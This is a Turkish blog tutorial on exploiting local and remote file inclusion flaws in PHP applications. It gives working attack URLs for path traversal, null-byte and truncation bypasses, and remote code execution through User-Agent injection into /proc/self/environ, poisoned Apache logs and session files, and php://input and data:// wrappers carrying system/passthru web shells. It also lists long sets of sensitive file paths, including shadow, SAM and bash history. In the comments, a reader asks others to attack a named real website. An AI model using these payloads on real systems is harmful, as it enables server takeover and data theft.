LFI/RFI ve
Arbitrary File Read Açıkları
Bu tür açıklar her script dilinde görülebilir fakat en yaygın
olarak görülen "php" dir. Biz örneklerimizi "php" dilinde
vereceğiz. Zaten kullanım bakımından her dilde aynı yöntemler izlenmektedir. LFI "local file include" yani "yerel dosya çağırma" manasına gelmekte.
RFI(remote file include) ise aynı işin yerel dosya değil uzak server’daki bir dosyayı çağırarak yapılanı.
RFI(remote file include) ise aynı işin yerel dosya değil uzak server’daki bir dosyayı çağırarak yapılanı.
Php "wrapper" özelliği ile örneğin: “http://site.com/index.php?page=http://asd.com/x.txt”
şeklinde bir include yapmaya çalıştığınızda, php bu dosyanın bir “url” olduğunu algılar ve url üzerinden
dosyayı include eder.
Eskiden default olarak
"apache php" nin remote url çağırabilme özelliği(php http: wrapper) aktifti
fakat eski versionlar dışında bu özellik disabled
olarak gelmekte. Bu sebeple "rfi"
nin eski popülaritesi kalmamakla birlikte yerini "lfi" ye bıraktı.
Açık Neden
Kaynaklanır?
Bu tür açıklar, Scriptte
sayfa include edilirken, include edilecek sayfanın, kullanıcının müdahale edebildiği veriler üzerinden tanımlanmasından
kaynaklanır (İstekle alınan parametreler (get, post ...), cookieler, tarayıcı tanımlamaları vb.).
Açık, aşağıda belirtilen fonksiyonlar(ve benzer daha pek çok
fonksiyon) scriptte çalıştırılırken, dışarıdan alınan parametrenin
filtrelenmeden dosya ismi olarak kullanılıp include edilmesinden
kaynaklanmaktadır.
include()
include_once()
require()
require_once()
fopen()
file_get_contents()
Bu fonksiyonlardan fopen()
ve file_get_contents() ise genelde
"Arbitrary File Read" yani
"Keyfi Dosya Okuma"
açıklarına mahal verir. Rfi ve Lfi'nin aksine dosya okuma açığında,
dosya server’da çalıştırılmaz, sadece serverdaki herhangi bir dosyanın kaynak
kodu okunur. Onun dışında kullanım yöntemi diğerleriyle aynıdır.
Örnek url:
http://site.com/index.php?page=haberler
Bu url de "page=haberler"
parametresini değiştirip "page=haberlerasdasd"
şu hatayla karşılaşıyoruz:
Warning:
include(haberlerasdasd.php) [function.include]: failed to open stream: No such
file or directory in /var/www/html/site.com/index.php on line 135
Bu hata bize 2 şey hakkında bilgi veriyor. 1. si "page" parametresi üzerinden alınan
veri, "index.php" de
include ediliyor.
Muhtemelen şu tarz bir koda sahip:
<?php
...
include
$_GET['page'].'.php'; /*tam burası açığın kaynağı*/
...
?>
2. bilgi ise kodda da yazdığımız gibi "include" edeceği dosyanın sonuna ".php" uzantısını eklemesi. Dikkat ettiyseniz hatada "haberlerasdasd.php" bulunamadı
diyor.
Oysa biz "page=haberlerasdasd"
göndermiştik.
Eğer scriptimiz dosya
isminin sonuna ".php,.html vs.."
gibi uzantılar ekliyorsa, bu istediğimiz her dosyayı include edemeyeceğimiz
manasına gelir.
Örneğin: "/etc/passwd" yazdığımızda script
bunu "/etc/passwd.php" ye
çevirecektir. Peki bu durumu nasıl aşıp saldırıya uygun hale getirebiliriz?
1. yöntem:
"?" özel karakteri.
Web uygulama serverlarında 1.
"?" karakterinden sonra gelenler parametrelerdir. Fakat pek çoğunda 2. kez kullanılırsa kendinden sonra gelen tüm karakterleri ihmal
eder.
"page=../../etc/passwd?"
yazdığımızda sonuna ".php"
eklese bile bu kısım görmezden gelinecektir.
Bu arada "../"
karakterleri bir alt dizine geçiş manasına gelir. Çağıracağımız dosyanın
klasörüne geçmek için gerekliyse alt dizine geçiş karakterleri kullanmalıyız.
2. yöntem:
NULL byte ()
Null byte'ın url encode'da karşılığı dır. Null byte stringleri sonlandırma karakteridir. Url üzerinden girilen veriyi
alırken de string kullanılacağından stringi sonlandırır.
Bu sayede kendinden sonra eklenen ".php,.html vs." gibi uzantılar görmezden gelinir.
"page=../../etc/passwd % 00" (blogger silmekte olduğundan % 00 kısmını ayrı yazdım)
3. yöntem:
Web Application Server'ın String de taşma yapmasını sağlamak.
Bu yöntemi bazı web application serverlarda gerçekleştirebildim.
Yöntem şu şekilde:
http://www.site.com/index.php?page=/etc/passwd
bizim
yapmak istediğimiz bu include olsun.
Bizim include etmek istediğimiz
sayfanın sonuna .php ekleniyor
olsun. Ve server tarafından alınabilen url
uzunluğu max 1024 byte olsun.
Burada şöyle bir yöntem izlememiz gerekir; mümkün olduğunca uzun
bir url girmeliyiz fakat include etmek istediğimiz /etc/passwd değişmemeli. Bildiğiniz gibi bu dosya yolunun sonuna /./ eklemek bir şeyi değiştirmeyecektir. Sorunsuz bir şekilde
çalışacaktır. Bu da demektir ki taşma yapana kadar /./ karakter dizisi ekleyebiliriz.
Örnek:
http://www.site.com/index.php?page=/etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
Not: Bazı sunucularda bu kullanım doğru kabul edileceği gibi bazılarında kullanım şu şekilde olabilir:
http://www.site.com/index.php?page=/etc/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././passwd
Not: Bazı sunucularda bu kullanım doğru kabul edileceği gibi bazılarında kullanım şu şekilde olabilir:
http://www.site.com/index.php?page=/etc/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././passwd
Ne kadar ekleneceği serverdan servera göre değişir. Bu bazen url alınırken gerçekleşebileği gibi
bazen de alınan url stringe
dönüştürülürken de gerçekleşebilir.
Tespit
Yöntemleri:
Bu tür hatalar alındığında açığın varlığı hemen tespit edilebilse
de bazen hata uyarılarının kapatılması veya custom hata sayfalarının
kullanılması sebebiyle tespit edilmesi zorlaşabilir.
Böyle durumlarda da kullanabileceğimiz birkaç tespit yöntemi
bulunmakta ve bu yöntemler denemeler üzerinden çıkarım yapmaya dayanmakta.
Örneğin;
"page=haberler"
parametresini değiştirip farklı birşey yaptığımızda sayfa boş dönüyor olsun.
Burada "lfi"
açığı olup olmadığını nasıl anlarız?
Burada ilk denememiz gereken, sitede mevcut bir sayfayı çağırmaya
çalışmaktır. Bu sayfa genelde "index.php"
dir. Yani "page=index"
denememiz gerekiyor.
Sayfanın boş çıkıp çıkmadığı kontrol edilir. Eğer sayfa boş değil
de “index.php” yi içeriyorsa,
açığımız mevcuttur. Peki ya "index.php"
"haberler.php" ile aynı klasörde
değilse?
Eğer sayfa boş çıkarsa bunu da göz önünde bulundurmamız
gerekmekte. "../index.php",
"../../index.php" şeklinde
denemelere devam etmeliyiz.
Lfi tespit
etmek için linuxte "/etc/passwd", windowsta "c:\boot.ini" dosyasını include
etmeye çalışabilirsiniz.
“/etc/passwd” dosyası linux kullanıcı isimlerini ve dizin
yollarını verecektir. Şuna benzer bi görünümle karşılaşılır:
Linux
serverlarda “/proc/self/environ” dosyası:
Bu dosya o anda kullanılan “process”
in “environment” bilgisini bize
verir. Eğer lfi üzerinden include edersek bize “Apache Server” environment bilgisini verecektir. Bu da sayfayı ziy
aret eden
kullanıcının yani bizim bilgilerimizi verecektir. Çıktı şu şekilde olacaktır:
Bu çıktıda dikkat ettiyseniz tarayıcı tanımlamamız “HTTP_USER_AGENT” http header parametresinde görünmekte. Peki bu ne işimize yarar?
Tarayıcı tanımlamamıza bir php kodu yazarak “/proc/self/environ” u lfi
ile include edersek, serverda php kodu
çalıştırabiliriz.
Peki
tarayıcı ismini nasıl değiştiririz?
Burp Suite gibi http header’ları değiştirme imkanı
sağlayan masaüstü programlarıyla, Tamper
Data gibi isteği göndermeden önce müdahale edebilen “mozilla” eklentileriyle tarayıcı ismimizi değiştirebiliriz. Veya “Opera Web Browser” da kendinden mevcut
olan “opera:config” ara yüzünden “ISP” sekmesindeki parametreyi
değiştirebiliriz.
Çalıştıracağımız php kodunu (örn:
“<?php echo system($_GET[‘cmd’]); ?>” ) tarayıcı tanımlamamıza
yazdıktan sonra şu şekilde exploit edebiliriz;
http://site.com/index.php?page=../../proc/self/environ&cmd=ls
Peki ya “/proc/self/environ”
dosyasına erişim yoksa?
“/proc/self/environ”
dosyası o anki kendisini çağıran process’in
bilgileri verir. “/proc/processid/environ”
şeklinde ise “process id” si bilinen
herhangi bir process’in verilerine
erişilebilir. Önce web application server process id sini bulmak için “/proc/self/status” dosyasından
faydalanacağız. Bu dosyayı include
ettiğimizde şöyle bir çıktı alırız:
Bu çıktıyı
inceleyecek olursak;
Burada uygulama isminin “apache2”
olduğunu görüyoruz. “Pid:3371” ise process id değerimiz. Biz bu değeri
kullanacağız. Doğrudan self ile
erişime kapalı olan bazı durumlarda bu şekilde şansımızı denemekte fayda var.
Örnek saldırı kodu:
http://site.com/index.php?page=../../proc/3371/environ&cmd=ls
Diyelim ki
bu da çalışmadı.
Bir de “file description”
dosyaları üzerinden “include”
yapmayı deneyelim. Bu dosyalar “/proc/self/fd/isim”
şeklinde saklanır. “processid” ile
de erişmek mümkündür(/proc/3371/fd/isim).
Bu dosyalar “log dosyaları”
gibi Apache’nin sürekli kullandığı bazı dosyaların “symlink” dosyalarıdır. Yani bu dosyalar, apache log dosyalarının
içeriğini içerirler (barındırırlar daha doğru olur). Peki isimleri nelerdir? İsimler 0 ile FDSize değeri arasında olabilir. Deneyerek bunları tespit etmek
mümkündür. FDSize değerini ise az önceki resimde görebiliriz.
Örnek saldırı:
http://site.com/index.php?page=../../proc/3371/fd/9&cmd=ls
http://site.com/index.php?page=../../proc/self/fd/9&cmd=ls
Log Dosyalarını
Inject Etmek
Bildiğiniz gibi işletim sistemlerinde her şey loglanır. Buna gelen http
istekleri de dahil. Access log’lar,
error log’lar, mysql logları vb. işimizi görecek log dosyalarıdır. Çünkü bu loglarda http isteklerinde geçen
verilerle alakalı bilgiler tutulur.
Yani
mantık şudur;
Biz server’a bir istek gönderdiğimizde, istek bir sorunla
karşılaşırsa “apache error log”
dosyasında yeni bir satır oluşturulup bu istekle ilgili detaylar yazılır. Bu detaylardan
birkaç tanesini kullanarak log dosyasına kendi kodumuzu inject edebiliriz. Daha sonra da lfi açığı mevcut url’mizden
bu log dosyasını include ederek
istediğimiz kodu çalıştırabiliriz.
Örneğin:
http://site.com/<?php%20phpinfo();%20?>
Adresini adres çubuğundan ziyaret etmeye çalışırsak, böyle bir
dosya mevcut olmadığından hata loglarına istek bilgileri yazılır. Tabi ki
ziyaret edilen url de yazılacaktır.
Eğer url de loga aktarılırken karakter bozulmaları görülürse, log dosyasına
aktarılan müdahale edebildiğimiz diğer verileri de kullanabiliriz. Örneğin; tarayıcı bilgisi, referrer bilgisi vb.
İstekten sonra saldırımızı yapacak olursak:
http://site.com/index.php?page=../../var/log/apache2/error.log
Eğer log dosyasına erişim iznimiz varsa çıktımız şöyle olacaktır;
Gördüğümüz gibi “log”
dosyası normal bi şekilde include edilmişken “<?php phpinfo(); ?>” kodumuzun olduğu satır php kodu olarak
çalıştırıldı.
Bunun dışında “Php Session”
dosyaları da “kod include” için
kullanılabilir. Örneğin site bizim bilgilerimizi “PHPSessionId” cookie(server
taraflı) session bilgisiyle
saklıyor olsun. Bizim bilgilerimizi tarayıcımızdaki PHPSESSID cookie değeri ile karşılaştırılır. Bizim bu cookie değerini tarayıcıdan doğrudan
değiştirmemiz bir şey ifade etmez çünkü önemli olan serverda tutulan dosyadır.
Ancak bu dosyada neler tutulduğunu tahmin edebilirsek istediğimiz veriyi
dosyaya “inject” etme imkanına sahip
olabiliriz. Örneğin “dil” seçeneği
site üzerinden seçilebiliyor olsun(http://site.com/?dil=tr). Daha
sonra her defasında bu seçimi yapmamak için webmasterımız bu değeri php session içerisinde saklıyor olsun. Şöyle bir ziyaret
yaptığımızı düşünürsek http://site.com/?dil=<?php%20phpinfo();%20?>
Server, session
dosyamızı değiştirecek ve yeni dil seçimimize php kodumuzu yazacaktır. Daha
sonra geriye sadece bu dosyayı lfi ile include etmek kalır. Buna benzer
senaryolar ile programcının kodlama mantığı tahmin edilerek bir şekilde php session dosyasına kod injection yapılır
Php
Session dosyaları linuxlerde
genelde aşağıdaki dizinlerde tutulur;
§ /tmp/sess_<sessid> (Buradaki sessid değerleri
cookie kontrolü ile görebildiğimiz değerdir.)
§ /var/lib/php/session/sess_<sessid>
§ /var/lib/php5/session/sess_<sessid>
windows’ta ise şu
şekildedir:
§ *:\WINDOWS\TEMP\
§ *:\php\sessions\
§ *:\php5\sessions\
§ *:\php4\sessions\
Peki log
dosyalarının ve önemli dosyaların dizin yolları nelerdir?
Dizin yolları değişkenlik gösterse de en yaygın olanları aşağıda
derlenmiştir. Bunların bazıları log
dosyası olduğu gibi bazıları da sistem hakkında işimize yarayacak bilgiler
toplayabileceğimiz dosyalardır. Özellikle httpd.conf
dosyaları pek çok zaman log
dosyalarının yollarıyla ilgili bilgiler tutmaktadır.
§ /etc/passwd
§ /etc/master.passwd
§ /etc/shadow
§ /var/db/shadow/hash
§ /etc/group
§ /etc/hosts
§ /etc/motd
§ /etc/issue
§ /etc/release
§ /etc/redhat-release
§ /etc/crontab
§ /etc/inittab
§ /proc/version
§ /proc/cmdline
§ /proc/self/environ
§ /etc/httpd.conf
§ /etc/apache2.conf
§ /etc/apache2/apache2.conf
§ /etc/apache2/httpd.conf
§ /etc/httpd/conf/httpd.conf
§ /etc/httpd/httpd.conf
§ /etc/apache2/conf/httpd.conf
§ /etc/apache/conf/httpd.conf
§ /usr/local/apache2/conf/httpd.conf
§ /usr/local/apache/conf/httpd.conf
§ /etc/apache2/sites-enabled/000-default
§ /etc/apache2/sites-available/default
§ /etc/nginx.conf
§ /etc/nginx/nginx.conf
§ /etc/nginx/sites-available/default
§ /etc/nginx/sites-enabled/default
§ /etc/ssh/sshd_config
§ /etc/my.cnf
§ /etc/mysql/my.cnf
§ /etc/php.ini
§ /var/mail/www-data
§ /var/mail/www
§ /var/mail/apache
§ /var/mail/nobody
§ /var/www/.bash_history
§ /root/.bash_history
§ /var/root/.bash_history
§ /var/root/.sh_history
§ /usr/local/apache/httpd.conf
§ /usr/local/apache2/httpd.conf
§ /usr/local/httpd/conf/httpd.conf
§ /usr/local/etc/apache/conf/httpd.conf
§ /usr/local/etc/apache2/conf/httpd.conf
§ /usr/local/etc/httpd/conf/httpd.conf
§ /usr/apache2/conf/httpd.conf
§ /usr/apache/conf/httpd.conf
§ /etc/http/conf/httpd.conf
§ /etc/http/httpd.conf
§ /opt/apache/conf/httpd.conf
§ /opt/apache2/conf/httpd.conf
§ /var/www/conf/httpd.conf
§ /usr/local/php/httpd.conf
§ /usr/local/php4/httpd.conf
§ /usr/local/php5/httpd.conf
§ /etc/httpd/php.ini
§ /usr/lib/php.ini
§ /usr/lib/php/php.ini
§ /usr/local/etc/php.ini
§ /usr/local/lib/php.ini
§ /usr/local/php/lib/php.ini
§ /usr/local/php4/lib/php.ini
§ /usr/local/php5/lib/php.ini
§ /usr/local/apache/conf/php.ini
§ /etc/php4/apache/php.ini
§ /etc/php4/apache2/php.ini
§ /etc/php5/apache/php.ini
§ /etc/php5/apache2/php.ini
§ /etc/php/php.ini
§ /etc/php/php4/php.ini
§ /etc/php/apache/php.ini
§ /etc/php/apache2/php.ini
§ /usr/local/Zend/etc/php.ini
§ /opt/xampp/etc/php.ini
§ /var/local/www/conf/php.ini
§ /etc/php/cgi/php.ini
§ /etc/php4/cgi/php.ini
§ /etc/php5/cgi/php.ini
§ /var/log/lastlog
§ /var/log/wtmp
§ /var/run/utmp
§ /var/log/messages.log
§ /var/log/messages
§ /var/log/messages.0
§ /var/log/messages.0.gz
§ /var/log/messages.1
§ /var/log/messages.1.gz
§ /var/log/messages.2
§ /var/log/messages.2.gz
§ /var/log/messages.3
§ /var/log/messages.3.gz
§ /var/log/syslog.log
§ /var/log/syslog
§ /var/log/syslog.0
§ /var/log/syslog.0.gz
§ /var/log/syslog.1
§ /var/log/syslog.1.gz
§ /var/log/syslog.2
§ /var/log/syslog.2.gz
§ /var/log/syslog.3
§ /var/log/syslog.3.gz
§ /var/log/auth.log
§ /var/log/auth.log.0
§ /var/log/auth.log.0.gz
§ /var/log/auth.log.1
§ /var/log/auth.log.1.gz
§ /var/log/auth.log.2
§ /var/log/auth.log.2.gz
§ /var/log/auth.log.3
§ /var/log/auth.log.3.gz
SOLARIS
için:
§ /var/log/authlog
§ /var/log/syslog
§ /var/adm/lastlog
§ /var/adm/messages
§ /var/adm/messages.0
§ /var/adm/messages.1
§ /var/adm/messages.2
§ /var/adm/messages.3
§ /var/adm/utmpx
§ /var/adm/wtmpx
Macintosh için:
§ /var/log/kernel.log
§ /var/log/secure.log
§ /var/log/mail.log
§ /var/run/utmp
§ /var/log/wtmp
§ /var/log/lastlog
HTTP log dosyaları:
§ /var/log/access.log
§ /var/log/access_log
§ /var/log/error.log
§ /var/log/error_log
§ /var/log/apache2/access.log
§ /var/log/apache2/access_log
§ /var/log/apache2/error.log
§ /var/log/apache2/error_log
§ /var/log/apache/access.log
§ /var/log/apache/access_log
§ /var/log/apache/error.log
§ /var/log/apache/error_log
§ /var/log/httpd/access.log
§ /var/log/httpd/access_log
§ /var/log/httpd/error.log
§ /var/log/httpd/error_log
§ /etc/httpd/logs/access.log
§ /etc/httpd/logs/access_log
§ /etc/httpd/logs/error.log
§ /etc/httpd/logs/error_log
§ /usr/local/apache/logs/access.log
§ /usr/local/apache/logs/access_log
§ /usr/local/apache/logs/error.log
§ /usr/local/apache/logs/error_log
§ /usr/local/apache2/logs/access.log
§ /usr/local/apache2/logs/access_log
§ /usr/local/apache2/logs/error.log
§ /usr/local/apache2/logs/error_log
§ /var/www/logs/access.log
§ /var/www/logs/access_log
§ /var/www/logs/error.log
§ /var/www/logs/error_log
§ /opt/lampp/logs/access.log
§ /opt/lampp/logs/access_log
§ /opt/lampp/logs/error.log
§ /opt/lampp/logs/error_log
§ /opt/xampp/logs/access.log
§ /opt/xampp/logs/access_log
§ /opt/xampp/logs/error.log
§ /opt/xampp/logs/error_log
Windows İçin Dosya Yolları:
§ *:\boot.ini
§ *:\WINDOWS\win.ini
§ *:\WINNT\win.ini
§ *:\WINDOWS\Repair\SAM
§ *:\WINDOWS\php.ini
§ *:\WINNT\php.ini
§ *:\Program Files\Apache Group\Apache\conf\httpd.conf
§ *:\Program Files\Apache Group\Apache2\conf\httpd.conf
§ *:\Program Files\xampp\apache\conf\httpd.conf
§ *:\php\php.ini
§ *:\php5\php.ini
§ *:\php4\php.ini
§ *:\apache\php\php.ini
§ *:\xampp\apache\bin\php.ini
§ *:\home2\bin\stable\apache\php.ini
§ *:\home\bin\stable\apache\php.ini
§ *:\Program Files\Apache Group\Apache\logs\access.log
§ *:\Program Files\Apache Group\Apache\logs\error.log
C:\apache\logs\error.log
C:\Program Files\Apache
Group\Apache\logs\access.log
C:\Program Files\Apache
Group\Apache\logs\error.log
C:\program
files\wamp\apache2\logs
C:\wamp\apache2\logs
C:\wamp\logs
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
PHP wrapper'ları
Bu yöntemlerde ise php nin bünyesinde mevcut bazı özelliklerden faydalanabiliriz. Yalnız
bu özelliklerin enabled olup olmadığını sadece deneyerek anlayabiliriz.
Bu wrapperlarla ilgili
detaylı bilgi için:
PHP Filter:
Aşağıdaki şekilde isteklerle eğer bu wrapperlar enabled durumundaysa, lfi açığını arbitrary file read açığına çevirmiş olursunuz.
http://www.site.com/index.php?page=php://filter/read=convert.base64-encode/resource=dosya.php
Dosya eğer page
parametresine .php ekliyorsa
aşağıdaki gibi çağırabilirsiniz.
http://www.site.com/index.php?page=php://filter/read=convert.base64-encode/resource=dosya
PHP Input:
Bu wrapper en tehlikelisidir, çünkü bunu kullanarak lfi açığınızı rce açığına çevirebilirsiniz. Örnek kullanım şekli aşağıdaki
gibidir:
http://www.site.com/index.php?page=php://input
Bu url yi ziyaret ederken ise post olarak veri göndermeniz ve gönderdiğiniz veriye php kodu yazmanız gerekir.
Örnek post
verisi şu şekilde olabilir: POST
verisi: <? passthru("ls -la");
?>
Php input wrapperının
çalıştırıldığını görünce, gelen post
isteğine bakacak ve bu datayı çalıştıracaktır.
PHP Data:
Bu wrapper ise data://
olarak gelen parametre verisini alır ve fonksiyona dahil eder. Örnek
kullanım şekli;
http://www.site.com/index.php?page=data://text/plain,<?passthru($_GET['cmd']);?>
tabi url
üzerinde ? karakterlerini
kullanırsanız url bozulacağı için bu karakterleri hex karşılığıyla
yazmalısınız. Diğer bir deyişle kodunuzu URLEncode
yapmalısınız. Çıktı ise şu şekilde olacaktır:
http://www.site.com/index.php?page=data://text/plain,%3C%3Fpassthru(%24_GET%5B'cmd'%5D)%3B%3F%3E
Şimdi ise bu url ye cmd parametresi ekleyeceğiz çünkü yazacağımız cmd parametresi bu sayfada passthru
fonksiyonuna gönderilecek.
Son saldırı kodu ise şu şekildedir:
http://www.site.com/index.php?page=data://text/plain,%3C%3Fpassthru(%24_GET%5B'cmd'%5D)%3B%3F%3E&cmd=ls
-la
Burada magic_quotes_gpc
gibi fonksiyonlardan kaçış için $_GET['cmd']
yerine $_GET[0] kullanmak da
başka bi püf noktamız olsun ve yazımızı sonlandıralım.
Scorp sundu;
Kaynak belirtmeden
alıntı yapmak yasaktır.
5 yorum
page=sayfa anlamak için page=sayfa.php? ve page=sayfa.html? diye baksak sorun olmaz herhalde ..
tabi lfi tespit ederken bunları denemek lazım
bi türlü dökülmüyor dosyalar önüme :D denedim bypass yöntemlerini ama yapamadım :(
bi baksanız : http://www.lhc-facts.ch/index.php?page=qwe
internetteki diger dökümanlara göre anlatım biraz daha detaylı ve anlaşılır olmuş, devamıda gelir inş.
lfi için bu exploiti kullanabilirsiniz
http://paste2.org/hEm0Ye7C
EmojilerEmojiler